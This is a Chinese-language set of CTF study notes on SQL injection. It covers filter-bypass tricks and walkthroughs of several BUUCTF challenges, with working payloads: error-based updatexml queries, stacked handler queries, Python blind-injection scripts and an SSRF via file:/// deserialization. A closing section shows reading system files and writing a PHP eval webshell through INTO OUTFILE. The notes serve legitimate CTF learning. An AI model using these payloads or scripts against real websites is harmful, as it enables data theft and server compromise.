前言
sql注入挺难的我感觉,(个人比较菜)但是很重要,有好多绕过,和注入手段需要一步步在尝试,因此借此机会,本章刷一下buuctf各个sql注入题目,来巩固联系一下自己在sql注入方面的知识。
下面是通过看CTF特训营,整理了一些sql注入相关的知识点。以及在buuctf遇到的一些sql注入类型题目。
<1>绕过篇:
sql注入的一些绕过类型:
(1)过滤关键字
1. 即过滤了例如 select 、from、or等的关键字。有些题目在过滤时没有进行递归过滤,而且刚好将关键字替换为空。此时,就可以使用穿插关键字方法进行绕过,如:
select -- selselectect
or -- oorr
union -- uniunionon 等等
2. 也可以大小写转换来绕过,如:
select -- SelEct
or -- oR
union -- UnIon 等等
3. 有时候,过滤函数是通过十六进制进行过滤的.我们可以通过对关键字的个别字母进行替换,如:
select -- selec\x74
or -- o\x72
union -- UnIo\x6e 等等
4. 有时候还可以通过双重URL编码来绕过操作,如:
or -- %25%36%66%25%37%32
union -- %25%37%35%25%36%39%25%36%65%25%36%66%25%36%65 等
(2) 过滤空格
1. 通过注释符来绕过,一般的注释符有如下几个:
# -- // /**/ ;%00
这时候我们就可以用这些注释符来绕过空格过滤。例如:
union/**/select/**/username/**/from/**/user
2.通过url编码来绕过,空格的编码为%20,使用可以通过二次URL编码进行绕过:
%20 -- %2520
3. 通过空白字符绕过,下面列举了一些数据库中一些常见的可以用来绕过空格过滤的空白字符(十六进制)。
SQLite3 -- 0A,0D,0C,09,20
MYSQL5 -- 09,0A,0B,0C,0D,A0,20
.......
4. 通过特殊符号(如反引号、加号等),利用反引号绕过空格的语句如下:
...select`username`,`from`...
5. 科学计数法绕过,如语句下:
select user,password from users where user_id=0e1union select 1,2
(3) 过滤单引号
绕过单引号过滤题目最多的使用魔术引号,php配置文件php.ini中的magic_quote_gpc
当php版本号<5.4时(5.3废弃魔术引号,php5.4移除),如果我们遇到的是GB2312、 GBK等宽字节编码(不是网页编码),可以在注入点增加%df尝试宽字节注入(如%df%27).原理在于PHP发送请求到MySQL时字符集使用 character_set_client 设置值进行了一次编码,从而绕过对单引号过滤。
现在这种绕过方式并不多见了,以后也不怎么会出现在ctf比赛中。
(4) 绕过相等过滤
不常见。
<2>刷题篇
(1) [极客大挑战 2019]HardSQL 1(报错注入)
输入1',出错,1'#显示不同,存在单引号闭合注入。
order by查字段,union,堆叠注入,和输入数字都烦返回错误
=,空格,和好多关键字都被过滤了。
空格用()绕过,=用like绕过。
尝试报错注入:
1'or(updatexml(1,concat(0x7e,database()),1))#&password=1
1'or(extractvalue( 1,concat(0x7e,database() ) ))#也可以
注:0x7e 是~符号的十六进制。
发现存在报错注入。
1. 查询表名:
本应构造:
1'or updatexml(1,concat(0x7e,select group_concat(table_name) from information_schema.tables from where table_schema=database()),1)#
空格被过滤,用()绕过,因此构造
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))#
2. 查询字段名
本应构造:
1'or updatexml(1,concat(0x7e,select group_concat(column_name) from information_schema.columns from where table_schema=database() and table_name='H4rDsq1'),1)#
绕过空格与and过滤后,构造为:
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1))#
得到 id,username,password字段。
3. 查看password字段
构造:
1'or updatexml(1,concat(0x7e,select group_concat(password) from H4rDsq1),1)#
绕过空格过滤后构造:
1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))),1))#
得到一半的flag:flag{62f71bc2-4189-48c7-a2c2-8b。
4. 可以用right()函数或mid() 函数来读取。
1'or(updatexml(1,concat(0x7e,(select(right(group_concat(password),25))from(H4rDsq1))),1))#
1'or(updatexml(1,concat(0x7e,(select(mid(group_concat(password),20,40))from(H4rDsq1))),1))#
mid被过滤了,right可以使用。
得到后面缺少的flag为:322f9778f3}。
通过这道题复习到:
1. 报错注入extractvalue(两个参数)和updatexml(三个参数);
2. 空格过滤可以用()绕过(之前的题目还有/**/,${IFS}绕过),=用like代替。
3. 学过的right(),mid()函数读取一段字符串。
(2) [GXYCTF2019]BabySQli 1(后端判断)
先测试一下,输入1‘ 密码1发现报错,存在单引号闭合。输入1’# wrong user
输入admin‘ # wrong pass
试着万能密码登录,发现or and =被过滤
找到注入点后,试着order by差不了,试着联合查询admin‘ union select 1,2#
可以通过报错来得出字段数为3.
然后就不知道了,没思路。。。看别人题解中了解到:
wrong pass 查看源码可以得到一串base编码
先base32编码再base64编码可以得到:
select * from user where name = "$name".
存在or双写绕过 order大写绕过。
之前查出字段数为3.因此表格里有三列。
name=-1' union select 'admin',2,3#&pw=123456 //wrong user
name=-1' union select 1,'admin',3#&pw=123456 //wrong pass
可知第二个位置为user,估计第三个为password
据此猜测:后端是先判断name是否等于admin,然后判断md5(pw)是否等于数据库中的密码。
构造payload尝试
name=-1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456
-- md5(123456)='e10adc3949ba59abbe56e057f20f883e'
得到flag。
(3) [GYCTF2020]Blacklist 1(堆叠;handler三部曲)
存在单引号闭合注入。order by 查得字段数为2.
union select 1,2 查看回显,得到黑名单:
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
select 和where被过滤了。
尝试堆叠注入。1'; show databases;# 发现可行。
1';show tables from supersqli;#
1'; show columns from FlagHere;#
handler 读取flag。
1'; handler FlagHere open;handler FlagHere read first; handler FlagHere close;#
handler FlagHere open; //打开一个表名为FlagHere的
handler FlagHere read first; //获取 第一行(相当于第一个字段)
handler FlagHere close; //关闭
得到flag。
(4) [CISCN2019 华北赛区 Day2 Web1]Hack World 1(盲注)
进去看见:
All You Want Is In Table 'flag' and the column is 'flag'
Now, just give the id of passage
抓包发现id参数,试着爆破一下id。无果。。。
直接查询flag ;select flag from flag;
发现:SQL Injection Checked.
单独输入;select没有这样,select没被过滤,过滤了空格。用()绕过
构造: ;select(flag)from(flag);
回显:bool(false)。
到这就没思路了。后面看被人题解才得知,存在盲注,需要用盲注脚本来获取flag。
做法为:
用字典爆破了一下各个关键字,发现if ascii substr没有被过滤。因此想到的盲注。
import requests
url = 'http://ce89d232-fb63-4492-ae07-6930a6925c73.node4.buuoj.cn:81/index.php'
r = requests.session()
f = ''
for i in range(1, 50):
min = 32
max = 127
mid = (min + max) // 2
while min < max:
payload = "if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)" % (i, mid)
data = {"id": payload}
re = requests.post(url, data=data)
if 'Hello' in re.text:
min = mid + 1
else:
max = mid
mid = (min + max) // 2
f += chr(int(mid))
print(f)
网站有waf,导致访问过快会有一段时间不能访问。使得最终爆出来的flag可能会缺少。
需要再加一个time库,让每次爆的时间间隔1秒即可,最终脚本为:
import requests
import time
url = 'http://ce89d232-fb63-4492-ae07-6930a6925c73.node4.buuoj.cn:81/index.php'
r = requests.session()
f = ''
for i in range(1, 50):
min = 32
max = 127
mid = (min + max) // 2
while min < max:
payload = "if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)" % (i, mid)
data = {"id": payload}
re = requests.post(url, data=data)
time.sleep(1)
if 'Hello' in re.text:
min = mid + 1
else:
max = mid
mid = (min + max) // 2
f += chr(int(mid))
print(f)
tql,在学习二分法盲注脚本,希望后面也可以自己写出来。
(5) [极客大挑战 2019]FinalSQL
随意点击一个发现url存在?id=1,猜测这存在注入
试着去访问一个没有的 6
发现提示, ?id=6'
存在注入,但是测试过程中发现,union,or,and,差不多都被过滤了
正常方法没有了,可以考虑使用异或注入进行盲注
原理:1^1=0 0^0=0
0^1=1
?id=1 时回显为:
NO! Not this! Click others~~~
?id=0 时 回显为:ERROR!!!
?id=1^(length(database())>100) 回显为:NO! Not this! Click others~~~
证实了存在异或注入! 因为 1^0=1
构造查询语句:?id=1^(判断语句)^1
注意:这里最后多加一个^0或1是因为在盲注的时候可能出现了语法错误也无法判断,而改变这里的0或1,如果返回的结果是不同的,那就可以证明语法是没有问题的
例如我的length 少了一个g,出现语法错误会返回Error
我可以通过改变后面的0或1,如果返回的结果是不同的,那就可以证明语法是没有问题的
贴上师傅写的脚本:[极客大挑战 2019]FinalSQL_Kevin_xiao~的博客-CSDN博客_finalsql
import requests
import time
# 判断数据库名长度
def get_DBlen(url):
for i in range(1, 10):
db_url = url + "1^1^(length(database())=%d)#" % i
r = requests.get(db_url)
if "Click" in r.text:
print("数据库名称的长度为:%d" % i)
return i
# 爆数据库名
def get_DBname(url, length):
DBname = ""
length = length + 1
for i in range(1, length):
Max = 122
Min = 41
Mid = (Max + Min) // 2
while Min <= Max:
db_url = url + "1^1^(ascii(substr(database(),%d,1))>=%d)#" % (i, Mid)
r = requests.get(db_url)
if "Click" in r.text:
Min = Mid + 1
Mid = (Min + Max) // 2
pass
else:
Max = Mid - 1
Mid = (Min + Max) // 2
pass
pass
DBname = DBname + chr(Mid)
print("数据库名:", DBname)
return DBname
def get_TBname(url):
name = ""
i = 0
print("字段内容为:")
while True:
i = i + 1
Max = 128
Min = 32
Mid = (Max + Min) // 2
while Min <= Max:
# 爆表名
# db_url = url+"1^1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>=%d)#"%(i,Mid)
# 爆字段名
# db_url = url+"1^1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>=%d)#"%(i,Mid)
# 获取flag
db_url = url + "1^1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>=%d)" % (i, Mid)
r = requests.get(db_url)
if "Click" in r.text:
Min = Mid + 1
Mid = (Min + Max) // 2
pass
else:
Max = Mid - 1
Mid = (Min + Max) // 2
pass
pass
name = name + chr(Mid)
if Mid == 31:
break
print(name)
# 速度太快显示不完全
time.sleep(0.5)
if __name__ == "__main__":
url = "http://ccef2151-6b58-4702-95fb-776c4cd551fb.node4.buuoj.cn:81/search.php?id="
#db_Len = get_DBlen(url)
#db_Name = get_DBname(url, db_Len)
get_TBname(url)
(6) [网鼎杯 2018]Fakebook 1(union/**/select绕过&ssrf读取内网文件&序列化)
预期解:
进去,发现是个等陆页面,尝试创建一个账号登录。
blog有限制,只能创建为网址的格式。
登录发现参数no。可能存在注入
order by 查得字段数为4
union select 1,2,3,4查看回显。发现no hack~.~ union select被过滤。
用union/**/select来绕过。
-1 union/**/select 1,2,3,4
(查回显位)--回显位为2
-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
(查表名)--得到users表
-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name="users"
(查字段名)--得no,username,passwd,data 字段
union/**/select 1,2,3,4
-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users
(爆字段)--得到 1 admin b109f3bbbc244eb82441917ed06d618b9008dd09b3befd1b5e07394c706a8bb980b1d7785e5976ec049b46df5f1326af5a2ea6d103fd07c95385ffab0cacbc86 O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:16:"http://admin.com";}
通过报错注意到有unserialize()函数
我们通过访问/robots.txt 里disallow的index.php.bak得到一段php代码
1. 里面有一个 UserInfo类,符合爆出的data字段;
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
2. 从isValidBlog()函数可以看出对blog进行了正则匹配,证实了最初的疑惑;
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
3.这个地方是直接把blog当作参数传给get()函数,url没有经过任何限制,存在ssrf漏洞
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
正常注册后,爆出来的data字段位:
O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:16:"http://admin.com";}
说明注册时会序列化我们的信息,回显到页面时再反序列化。
这个data本来回显的是我们自己的博客,但我们把它改为回显flag.php就可以构成ssrf
修改自己最后blog字段内容,改为file:///var/www/html/flag.php
,并把对应的s改为对应长度 29
最终poc
-1 unions/**/select 1,2,3,O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php
";}
查看源码,点击内联表单里面有嵌入base64的加密信息,得到flag。
非预期解:
因为sql注入没有过滤load_file,可直接取得flag
构造payload:
-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4
查看源码,得到flag。
<3> SQL读写文件
有一些比赛存在SQL注入漏洞,但是flag并不在数据库中,这时候需要考虑是否要读取文件或是写shell来进一步渗透。
以MYSQL为例,在MYSQL用户拥有 File 权限的情况下,可以使用load_file 和 into outfile/dumpfile 进行读写。
假设一个题目存在注入的sql语句为:
select username from user where uId = $id
此时,我们就可以构造读取文件的Payload了,代码如下:
?id=-1+union+select+load_file( '/etc/hosts' )
在某些需要绕过单引号的情况下,还可以使用文件名的十六进制作为load_file()函数的参数 如:
?id= -1+union+select+load_file(0x2f6574632f686f737473)
如果题目中给出或其他漏洞泄露出来flag的位置,可以直接读取flag文件;如果没有给出,
可以考虑读取常见的配置文件或者敏感文件,如MYSQL的配置文件、Apache的配置
文件、.bash_history .
此外,如果题目所考察的点不是通过SQL读取文件,可以考虑是否能够通过sql语句进行
写文件,但不仅限于webshell、计划任务等。写文件payload如下:
?id=-1+union+select+'<?php eval($_POST['']);?>'+into+outfile '/var/www/html/shell.php'
或:
?id=-1+union+select+unhex(一句话shell的十六进制)+into+dumpfile '/var/www/html/shell.php'
这里要注意的是,写入文件需要确定有写文件的权限,还要确定目标文件名不能是已存在的,尝试写入一个已存在的文件会报错。
在权限足够高的时候,还可以写入UDF库执行系统命令来进一步扩大攻击面。